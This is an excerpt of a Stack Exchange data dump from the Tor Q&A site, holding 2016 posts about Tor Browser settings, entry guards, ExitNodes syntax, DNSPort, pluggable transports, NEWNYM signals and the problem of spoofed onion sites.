  <row Id="10588" PostTypeId="2" ParentId="10585" CreationDate="2016-05-26T17:17:47.087" Score="0" Body="&lt;p&gt;OK, here is what you should do:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;First&lt;/strong&gt;, pre-seed it from a working connection. Anywhere. Just run it and let it be up for a ten minutes&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Second&lt;/strong&gt;, take a close look at pluggable transport, especially on Obfs3, Obfs4 and Meek&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Third&lt;/strong&gt;, take a look at bridges.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Four&lt;/strong&gt;, take a look at &lt;code&gt;UseEntryGuards 0&lt;/code&gt; setting, it may help you &lt;strong&gt;after&lt;/strong&gt; reseeding. It is the &quot;last resort&quot; option &lt;strong&gt;if no other thing helps/works&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Feel free to ask further questions!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2016-05-29T16:22:50.610" LastActivityDate="2016-05-29T16:22:50.610" CommentCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="10589" PostTypeId="2" ParentId="10572" CreationDate="2016-05-26T17:43:10.830" Score="7" Body="&lt;p&gt;When you type a search term into either the URL bar or the search box, the search term is passed by the browser to a search engine. The Tor Browser doesn't perform the search itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;DuckDuckGo is currently the default search engine. (There's a level of indirection here as the Tor Browser uses disconnect.me as an intermediary.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to change the search engine:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Click on the search box in the top right, which will drop down a menu;&lt;/li&gt;&#xA;&lt;li&gt;Click &quot;Change Search Settings&quot;;&lt;/li&gt;&#xA;&lt;li&gt;Pick a search engine from the Default Search Engine drop-down menu.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2016-05-26T17:43:10.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10590" PostTypeId="1" CreationDate="2016-05-26T19:42:10.187" Score="1" ViewCount="187" Body="&lt;p&gt;It seems that the issue of fake/spoofed onion sites is becoming more and more of a problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The situation is such that on some more popular sites an incorrect keystroke may expose the user to malicious software, theft of credentials, government scrutiny, or simply fraud. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The lack of a central authority in the Tor network is such that there is no practical means of removing these entities. Therefore, it is incumbent upon the user to put in place practices which will prevent visits to unintended destinations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course no human is perfect, and a failsafe should exist to avert this threat. That then begs the question: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the Tor Browser Bundle have the capability of blacklisting, either manually or through a subscription, spoofed sites? Can this be implemented , perhaps via a plug in or added feature? &lt;/p&gt;&#xA;" OwnerUserId="13013" LastActivityDate="2016-05-27T04:22:26.997" Title="Adding a blacklist for known scam sites?" Tags="|security|spoofing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10592" PostTypeId="2" ParentId="10590" CreationDate="2016-05-26T20:15:38.580" Score="2" Body="&lt;p&gt;Replace &quot;onion site&quot; with &quot;clearnet site&quot; - your description of the threats and attack vectors could equally apply to both. The same personal security practices and behaviours should therefore be followed in each case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as soon as you add a centralised authority whose job it is to qualify and judge what is and isn't a spoofed site, and who acts to police hidden services, then you lose part of what makes Tor different to - and some would say better than - the internet at large.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Does the Tor Browser Bundle have the capability of blacklisting,&#xA;  either manually or through a subscription, spoofed sites?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any subscription service - such as a third party supplying a blacklist - would be centralised, and would need to be trusted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An additional problem is size of the address space. Any blacklist would need to keep up with the fast pace that .onion domains can be generated and made live, unlike clearnet URLs which have to be centrally registered and associated with a site, and which are therefore more likely to have a longer lifespan. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The other option of whitelisting genuine sites would perhaps work to an extent, possibly in conjunction with a way to blacklist &quot;similar&quot; addresses, and with a way to decide &lt;em&gt;how&lt;/em&gt; similar those addresses should be. Again, this assumes your genuine sites last long enough not to make updating your white/blacklist inconvenient.)&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2016-05-26T20:15:38.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10594" PostTypeId="1" CreationDate="2016-05-27T02:13:42.753" Score="1" ViewCount="23" Body="&lt;ol&gt;&#xA;&lt;li&gt;I have installed Tor on a Opensuse 13.2. There is no log files in &lt;code&gt;/var/log&lt;/code&gt; for Tor, how can i fix this?&lt;/li&gt;&#xA;&lt;li&gt;When I start Tor and press the link &quot;Test for Tor Network Settings&quot; I am told that I an not connected to Tor. How can I address this issue?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="13018" LastEditorUserId="88" LastEditDate="2016-05-27T21:47:36.807" LastActivityDate="2016-05-27T21:47:36.807" Title="Post install questions" Tags="|configuration|linux|log|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10595" PostTypeId="2" ParentId="10594" CreationDate="2016-05-27T03:06:50.143" Score="2" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If you've installed tor as a system service through OpenSUSE's package manager:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You can define where tor logs to through use of &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#Log&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Log&lt;/code&gt;&lt;/a&gt; directives in the &lt;code&gt;torrc&lt;/code&gt; file, located by default in &lt;code&gt;/etc/tor/torrc&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;If it's a system service you'll need to manually configure applications to use Tor, normally through its &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#SOCKSPort&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;SOCKSPort&lt;/code&gt;&lt;/a&gt;. However if it's a web browser, it's strongly recommended that you use &lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Tor Browser&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you've installed a copy of Tor Browser from the above link:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You can retrieve Tor's logs through the green onion menu (&lt;code&gt;Tor Button&lt;/code&gt;), then selecting &lt;code&gt;Tor Network Settings&lt;/code&gt;. This should provide you with a button that will copy the logs for Tor to the clipboard, where you can then manually paste them somewhere to review or share them.&lt;/li&gt;&#xA;&lt;li&gt;A small set of relays do not send outbound traffic from the same address they advertise to receive traffic on. The tor network regularly sends probes out of all exits to find the addresses they connect out from, but this list is not always 100% up to date &lt;em&gt;(nor could it really ever be)&lt;/em&gt;. As such the &lt;a href=&quot;https://check.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://check.torproject.org/&lt;/a&gt; website may report a &quot;false negative&quot;, because it does not recognise the location being connected from as a known exit address.&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-05-27T03:06:50.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10596" PostTypeId="2" ParentId="10590" CreationDate="2016-05-27T04:22:26.997" Score="1" Body="&lt;p&gt;Richard's answer is correct, I'd also add some points:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;People operating the legitimate sites have a static address, while the people creating clones or scam sites are capable of making arbitrary new addresses (with &lt;em&gt;some&lt;/em&gt; effort if they wish  to use homonyms) would make maintaining the blacklist an arms race that could easily exceed the capability of finding, verifying and cataloging &quot;bad sites&quot;. Blacklisting would not (and never does fully) work.&lt;/li&gt;&#xA;&lt;li&gt;Creating a &quot;whitelist&quot; of &quot;legitimate&quot; sites might place overconfidence in the legitimacy of the site operators. There is no long-term guarantee of their operations remaining legitimate. (This has historic precedent).&lt;/li&gt;&#xA;&lt;li&gt;How do you decide what types of sites get a &quot;whitelist&quot; status? Do certain types of users get protection? Would the maintainers need to be anonymous to avoid them being coerced by law enforcement to promote their honeypots or watering holes? If they are to be anonymous maintainers, how do we establish any meaningful validation or trust in them? This too would fail.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Users should maintain their own list of services they use to ensure they are visiting the legitimate site.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;None of the following is recommended or endorsed by anyone except me and you shouldn't trust strangers on the internet.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the user does not wish to keep a persistent, potentially incriminating list of bookmarks. I've written some code that turns an onion address into a &quot;correct horse battery staple&quot; style password. This allows a users to remember a password, and convert that password back into the onion address to aide in the memorability of onion address names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Available in &lt;a href=&quot;https://github.com/epidemics-scepticism/pyleek&quot; rel=&quot;nofollow&quot;&gt;python&lt;/a&gt; and &lt;a href=&quot;https://github.com/epidemics-scepticism/leekspeak&quot; rel=&quot;nofollow&quot;&gt;C&lt;/a&gt;. The idea is simple, the onion address is a base32 encoding of the first 10 bytes of the sha1 hash of the onions public key. By decoding the onion address to binary and splitting it up into 5 16bit (little-endian) integers, we can create a 5 word passphrase that can be converted back into the onion address itself, alternative implementations encouraged and criticism requested if appropriate.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-05-27T04:22:26.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10597" PostTypeId="1" AcceptedAnswerId="10598" CreationDate="2016-05-27T04:31:06.703" Score="3" ViewCount="1162" Body="&lt;p&gt;I use want to anonymize my DNS requests ;&#xA;I've tried to put &lt;code&gt;DNSPort 53&lt;/code&gt; in &lt;code&gt;torrc&lt;/code&gt;, restarting the tor daemon and polipo, even restarting my computer.&#xA;By using &lt;code&gt;nestat -atop&lt;/code&gt; I can't see any daemon listening on the port 53, however tor-resolve work well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;nameserver 127.0.0.1&lt;/code&gt;, I can't load any page&lt;/p&gt;&#xA;" OwnerUserId="13020" LastEditorUserId="13020" LastEditDate="2016-05-27T07:23:02.723" LastActivityDate="2016-05-27T07:23:02.723" Title="How to only use Tor to resolve DNS queries" Tags="|dns|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10598" PostTypeId="2" ParentId="10597" CreationDate="2016-05-27T05:20:03.177" Score="2" Body="&lt;p&gt;&quot;-a&lt;strong&gt;t&lt;/strong&gt;op&quot;, the t stands for TCP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor's DNSPort is UDP. Try &lt;code&gt;ss -uln&lt;/code&gt;. It's also not a full DNS implementation and it only handles &lt;code&gt;A&lt;/code&gt;, &lt;code&gt;AAAA&lt;/code&gt; and &lt;code&gt;PTR&lt;/code&gt; lookups.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-05-27T05:20:03.177" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10599" PostTypeId="2" ParentId="10572" CreationDate="2016-05-27T05:21:00.323" Score="1" Body="&lt;p&gt;This is a simple solution. Using Tor menu, select preferences or settings, depending on your operating system. Now open Search settings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have many options here. Start with option Default Search Engine. If You don't like Ducky, remove it. But don't forget that you can also add/remove and check/uncheck search engines used to acquire search results. For example, Ducky is sort of classy. You can dress him up as DuckDuckGo - TOR. Which is very different than old-fashioned DuckDuckGo. Oh, and you mght also want to uncheck Disconnect. It used to be a great service. Following reports to enforcement on not-so-great sites, those onions get blocked by Darpa Services, but Disconnect couldn't care less about up dating. Which leaves you super disconnected with endless annoying Akamai Cloudflare spam results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other topic? Who does not wish any Tor search would filter out Cloudflare and equally annoying Turkey Military. Anyway, just use your Search settings to customize your Tor Search experience. If you can't access those settings, uninstall and reinstall the Tor bundle. Easy.&lt;/p&gt;&#xA;" OwnerUserId="12989" LastActivityDate="2016-05-27T05:21:00.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10606" PostTypeId="2" ParentId="6313" CreationDate="2016-05-27T19:30:36.067" Score="1" Body="&lt;p&gt;As per &lt;a href=&quot;https://tor.stackexchange.com/questions/6313/does-google-hand-over-captcha-ips-to-webmasters#comment6241_6313&quot;&gt;@CodesInChaos comment&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Google gets to know a user's IP.&lt;sup&gt;Citation needed&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Nothing in the article you linked indicates that Google learns anything except the exit node's IP, which the webmaster can see without involving google.&lt;/p&gt;&#xA;" OwnerUserId="1880" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-05-27T19:30:36.067" CommentCount="0" CommunityOwnedDate="2016-05-27T19:30:36.067" ContentLicense="CC BY-SA 3.0" />
  <row Id="10607" PostTypeId="2" ParentId="1780" CreationDate="2016-05-28T07:41:27.040" Score="1" Body="&lt;p&gt;Needing a password manager means you are logging frequently/randomly to your favorite websites. This is a factor that acts against your anonymity.&lt;/p&gt;&#xA;" OwnerUserId="10777" LastActivityDate="2016-05-28T07:41:27.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10608" PostTypeId="5" CreationDate="2016-05-28T10:18:58.490" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2016-05-28T10:18:58.490" LastActivityDate="2016-05-28T10:18:58.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10609" PostTypeId="4" CreationDate="2016-05-28T10:18:58.490" Score="0" Body="&lt;noscript&gt; is an HTML element used to provide fallback content for scripts which fail to execute. NoScript is the name of a browser plugin to control which scripts are allowed to run in your browser." OwnerUserId="667" LastEditorUserId="667" LastEditDate="2016-05-28T10:56:23.590" LastActivityDate="2016-05-28T10:56:23.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10610" PostTypeId="1" CreationDate="2016-05-28T11:20:02.227" Score="1" ViewCount="274" Body="&lt;p&gt;I have read messages from some users stating that the first of three tor nodes is fixed constant and that this is intentional. My question here is about when this changed in the version numbering because I have seen posts about this question from summer 2015 and I only installed Tor in Jan 2016....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever I request a &quot;new tor circuit for this site&quot; it always sets the first IP the same (to an IP in the USA). This was not like that just a few weeks ago. Current Tor browser version is 5.5.5. My original installation version is given as 5.0.7 (installed since Jan 2016). I don't understand why this would change and considering previous postings saying this was due to a Tor version change were posted in Jun/Sep 2015 last year how come versions I have used since January 2016 did not always work this way? By the way this  has persisted despite me demanding around 50 new Tor circuits yesterday and also today (28/5/16) the same - always the same first IP address without fail and I have tested this for .com and .co.uk and .de websites, no change. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, how can I make sure this first fixed IP is trustworthy/genuine?&lt;/p&gt;&#xA;" OwnerUserId="13026" LastActivityDate="2016-05-28T13:19:07.653" Title="Since what version number is first TOR IP address unchanged?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10612" PostTypeId="2" ParentId="10610" CreationDate="2016-05-28T12:10:24.457" Score="1" Body="&lt;p&gt;The length of time that you keep the same Entry Guard is called the &lt;em&gt;rotation period&lt;/em&gt;. It's currently set to 2 months.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for doing this is to try to prevent &quot;predecessor attacks&quot;, which are discussed in &lt;a href=&quot;https://tor.stackexchange.com/questions/386/why-is-a-longer-guard-rotation-period-with-fewer-guards-better-than-the-other-wa&quot;&gt;this&lt;/a&gt; previous question, and perhaps most succinctly explained &lt;a href=&quot;https://tor.stackexchange.com/a/4882/1730&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With regards to when this was introduced, certainly before 2016. It looks like &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/8240&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ticket 8240&lt;/a&gt; is a good candidate, which is still marked open, but which has had commits made under it. I &lt;em&gt;think&lt;/em&gt; &lt;a href=&quot;https://github.com/arlolra/tor/commit/6f20a74d52741cce521cf03b8afee570e3cb367b&quot; rel=&quot;nofollow noreferrer&quot;&gt;this commit&lt;/a&gt; in March 2013 is the culprit. I'm unsure how to explain the behaviour you were seeing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(There's a further &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/8240&quot; rel=&quot;nofollow noreferrer&quot;&gt;open ticket&lt;/a&gt; which is proposing raising the rotation period to an even larger value, perhaps as much as 9/10 months.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you'd like to learn more, see &lt;a href=&quot;http://freehaven.net/~arma/cogs-wpes.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Changing of the Guards&lt;/a&gt; and &lt;a href=&quot;https://petsymposium.org/2014/papers/Dingledine.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;One Fast Guard for Life&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also, how can I make sure this first fixed IP is trustworthy/genuine?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can't, and you should assume that it possibly isn't. But this isn't necessarily a problem. At the point your traffic hits the entry guard it has 3 layers of (Tor) encryption, and more likely than not (HTTPS) TLS encryption. One potential problem would be if the same adversary also owned your exit node, at which point they could correlate your traffic entering and leaving the Tor network in a correlation/timing attack.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-05-28T12:10:24.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10613" PostTypeId="2" ParentId="10610" CreationDate="2016-05-28T13:19:07.653" Score="0" Body="&lt;p&gt;Thanks again Richard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, in case anyone finds need for it (copying advice found elsewhere) I found that I could control the Entry and/or Exit node country (codes GB, FR, DE, etc) by inserting some lines within the torrc-defaults file found in the .\Browser\TorBrowser\Data\Tor subdirectory of the installation (on Windoze, don't ask me why). There is a comment warning in this file that it shouldn't be changed but I figure its free software (as in freedom) so if I want to then I can do so anyway, right? (Disobey!!!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible to insert one or two lines after:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;# If non-zero, try to write to disk less frequently than we would otherwise.&lt;br&gt;&#xA;  AvoidDiskWrites 1&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;such that it reads:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;# If non-zero, try to write to disk less frequently than we would otherwise.&lt;br&gt;&#xA;  AvoidDiskWrites 1&lt;br&gt;&#xA;  ExitNodes {GB}&lt;br&gt;&#xA;  EntryNodes {FR}&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The first IP of the three remains constant (in France for this case). The third IP becomes a GB one in this case but will change (within GB in this case).&#xA;If I remove the ExitNodes and EntryNodes statements restoring the file to its original content then exit and restart Tor Browser I find that the last set EntryNode remains fixed to the country and indeed IP address which arose previously (...not a US one wahay, no offence to world-wide-beloved Americans such as Bernie Sanders and Ed Snowdon, nor being so naive to imagine US servers have US IP addresses of course... just testing y'know).&lt;/p&gt;&#xA;" OwnerUserId="13026" LastActivityDate="2016-05-28T13:19:07.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10615" PostTypeId="2" ParentId="10583" CreationDate="2016-05-28T17:10:31.050" Score="0" Body="&lt;p&gt;As far as I know, chutney is not actually a simulator, it starts up a bunch of Tor nodes on a single machine and configures them to talk to each other. If you want to set up a private Tor network that's split up across machines, I think you'll have to do it manually, though experimenting with a chutney configuration would be a good starting point.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2016-05-28T17:10:31.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10616" PostTypeId="1" AcceptedAnswerId="10617" CreationDate="2016-05-28T17:59:56.623" Score="3" ViewCount="4816" Body="&lt;p&gt;I want to specify an &lt;code&gt;ExitNode&lt;/code&gt; that is near me, so I looked at &lt;a href=&quot;https://onionview.com/?relaytype=1%20%22OnionView&quot; rel=&quot;nofollow&quot;&gt;OnionView&lt;/a&gt; and found the IP address of the one I want to use. What is the syntax to put in torrc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ExitNodes 73.48.139.226&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ExitNodes 73.48.139.226:9001&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ExitNodes {73.48.139.226}&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first 2 show the &quot;Connecting to the tor network&quot; dialog forever and the last one crashes Tor. (I tried several exitnodes and they all do the same)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize I am not nearly as anonymous if I do this and this is sort of unorthodox, but I'm trying to test some things and cannot find documentation anywhere on how to do this.&lt;/p&gt;&#xA;" OwnerUserId="13035" LastEditorUserId="13035" LastEditDate="2016-05-29T00:23:39.427" LastActivityDate="2016-05-29T00:23:39.427" Title="How do you specify a specific ExitNode?" Tags="|exit-relays|" AnswerCount="1" CommentCount="3" ClosedDate="2016-05-31T07:12:31.700" ContentLicense="CC BY-SA 3.0" />
  <row Id="10617" PostTypeId="2" ParentId="10616" CreationDate="2016-05-28T18:29:27.733" Score="4" Body="&lt;p&gt;You can't specify a &lt;em&gt;single&lt;/em&gt; node using its IP address. You can specify an address range, which equates to a network, using &lt;a href=&quot;https://networkengineering.stackexchange.com/questions/3697/the-slash-after-an-ip-address-cidr-notation&quot;&gt;CIDR notation&lt;/a&gt;, as specified in the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor FAQ&lt;/a&gt;. (It's not &lt;em&gt;that&lt;/em&gt; obvious, but note the slash in the below description... )&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A list of identity fingerprints, country codes, and address patterns&#xA;  of nodes to avoid when building a circuit. Country codes must be&#xA;  wrapped in braces; fingerprints may be preceded by a dollar sign.&#xA;  (Example: ExcludeNodes ABCD1234CDEF5678ABCD1234CDEF5678ABCD1234, {cc},&#xA;  &lt;strong&gt;255.254.0.0/8&lt;/strong&gt;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As noted in &lt;a href=&quot;https://tor.stackexchange.com/questions/9115/tor-on-linux-how-to-select-exit-nodes-manually/9117#9117&quot;&gt;previous answers&lt;/a&gt;, what you want is the fingerprint of the node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the below page for the relay you want to use, click on its name, and use the fingerprint that is given on the resulting page (but remove the spaces... ):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://torstatus.blutmagie.de/&quot; rel=&quot;nofollow&quot;&gt;https://torstatus.blutmagie.de/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2016-05-28T18:29:27.733" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10618" PostTypeId="2" ParentId="9853" CreationDate="2016-05-28T20:55:20.643" Score="7" Body="&lt;p&gt;Requesting a NEWNYM over the control port will tell Tor to consider the currently used circuits &quot;dirty&quot; (this normally happens after 10 minutes, with a few exceptions), at this point it will no longer attach new streams (connections) to the &quot;dirty&quot; circuit, and instead will attach them to a &quot;clean&quot; circuit (it doesn't normally build a fresh one at the time, it has some pre-built and waiting for use).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will not break the existing connections, it only ensures that new connections, that are made after the NEWNYM signal, are attached to a &quot;clean&quot; circuit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt#n415&quot; rel=&quot;noreferrer&quot;&gt;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt#n415&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  NEWNYM    -- Switch to clean circuits, so new application requests&#xA;               don't share any circuits with old ones.  Also clears&#xA;               the client-side DNS cache.  (Tor MAY rate-limit its&#xA;               response to this signal.)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Resources:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/or/main.c?id=tor-0.2.8.6#n1212&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;src/or/main.c:signewnym_impl&lt;/code&gt;&lt;/a&gt; is called to handle &lt;code&gt;NEWNYM&lt;/code&gt; signals, which does the following&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/or/circuitlist.c?id=tor-0.2.8.6#n1661&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;src/or/circuitlist.c:circuit_mark_all_dirty_circs_as_unusable&lt;/code&gt;&lt;/a&gt; marks any previously used (dirty) circuits as unusable, so that subsequent connections will not use them&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/or/addressmap.c?id=tor-0.2.8.6#n293&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;src/or/addressmap.c:addressmap_clear_transient&lt;/code&gt;&lt;/a&gt; this clears the client-side DNS cache, as mentioned in the spec (any mapping between address and IP)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/or/rendclient.c?id=tor-0.2.8.6#n35&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;src/or/rendclient.c:rend_client_purge_state&lt;/code&gt;&lt;/a&gt; clears the state of the rendezvous client (hidden services) to avoid possible links between the old and new nym because of the new nym starting with the end state of the old nym.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It then updates information about when and how often it has performed a &lt;code&gt;NEWNYM&lt;/code&gt; signal, as the spec mentions it may rate-limit it, which Tor does by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The resource to go by &lt;em&gt;should&lt;/em&gt; be the control-spec definition for the &lt;code&gt;NEWNYM&lt;/code&gt; signal, the implementation is subject to change.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-08-15T18:47:17.043" LastActivityDate="2016-08-15T18:47:17.043" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10619" PostTypeId="1" CreationDate="2016-05-29T02:17:35.807" Score="1" ViewCount="787" Body="&lt;p&gt;I've configured tor to use on chrome setting chrome to use socks. When I go to the site &lt;a href=&quot;https://check.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://check.torproject.org/&lt;/a&gt; it says &quot;Congratulations. This browser is configured to use Tor. However, it does not appear to be Tor Browser.&quot; in yellow, and I can't open any onion sites (I've already checked they're working, just not working on chrome)&lt;/p&gt;&#xA;" OwnerUserId="13039" LastActivityDate="2016-05-29T02:17:35.807" Title="I Can't open onion sites with Tor on Chrome" Tags="|chrome|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10620" PostTypeId="1" CreationDate="2016-05-28T21:24:10.783" Score="1" ViewCount="140" Body="&lt;p&gt;I want to use both Tor &quot;on&quot; and &quot;off&quot; in chrome. As for example one tab of chrome with tor &quot;on&quot;, and another tab or directory of it as &quot;off&quot;.&#xA;Is it possible?&lt;/p&gt;&#xA;" OwnerDisplayName="user111897" LastActivityDate="2016-05-29T07:32:30.767" Title="How to use Tor &quot;on&quot; and &quot;off&quot; at the same time with Chrome?" Tags="|chrome|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
